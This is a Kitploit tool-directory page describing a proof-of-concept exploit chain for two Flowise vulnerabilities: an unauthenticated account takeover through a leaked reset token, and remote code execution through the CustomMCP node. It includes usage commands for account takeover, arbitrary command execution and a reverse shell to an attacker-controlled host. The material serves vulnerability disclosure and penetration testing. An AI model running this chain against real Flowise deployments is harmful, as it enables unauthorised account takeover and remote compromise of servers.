Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434-59528 — CVE-2025-58434 and CVE-2025-59528 chain POC | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2025-58434-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRemote Access Tool
GitHubazureadtrent/cve-2025-58434-59528

CVE-2025-58434-59528

CVE-2025-58434 and CVE-2025-59528 chain POC

View Repository
435 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-58434 + CVE-2025-59528

Exploit chain for two vulnerabilities affecting Flowise <= 3.0.5.


Vulnerabilities

CVE-2025-58434 — Unauthenticated Account Takeover

The forgot-password endpoint returns a valid password reset token in the API response without requiring authentication. An attacker with knowledge of a valid email address can reset any account's password without user interaction.

CVE-2025-59528 — Authenticated Remote Code Execution

The CustomMCP node passes user-controlled input directly to a Function() constructor with full Node.js privileges. An authenticated user with a valid API key can execute arbitrary OS commands as the Flowise process user.

Fixed in: Flowise 3.0.6


Requirements

  • Python 3.8+
  • pip install requests

Usage

Full ATO chain (resets password, prompts for API key, fires reverse shell):

root@kitploit:~
python3 flowise_chain.py -t http://target -e [email protected]

RCE only (if you already have an API key):

root@kitploit:~
python3 flowise_chain.py -t http://target --api-key <KEY> -c "id"

Reverse shell with existing key:

root@kitploit:~
python3 flowise_chain.py -t http://target --api-key <KEY> --lhost 10.0.0.1 --lport 4444

Options

FlagDescription
-t, --targetTarget URL
-e, --emailTarget account email (triggers ATO chain)
--api-keyProvide API key directly (skips ATO)
-c, --commandCommand to execute
--lhostAttacker IP for reverse shell
--lportAttacker port for reverse shell (default: 4444)
--new-passwordPassword to set during reset (default: Pwn3d!2026)
-k, --insecureSkip TLS verification

Notes

Due to a quirk in Flowise 3.0.5, the reset-password API endpoint does not immediately update the credential accepted by the login endpoint. The script pauses after the reset and prompts you to log into the UI manually and copy the API key from /apikey.

Download Tool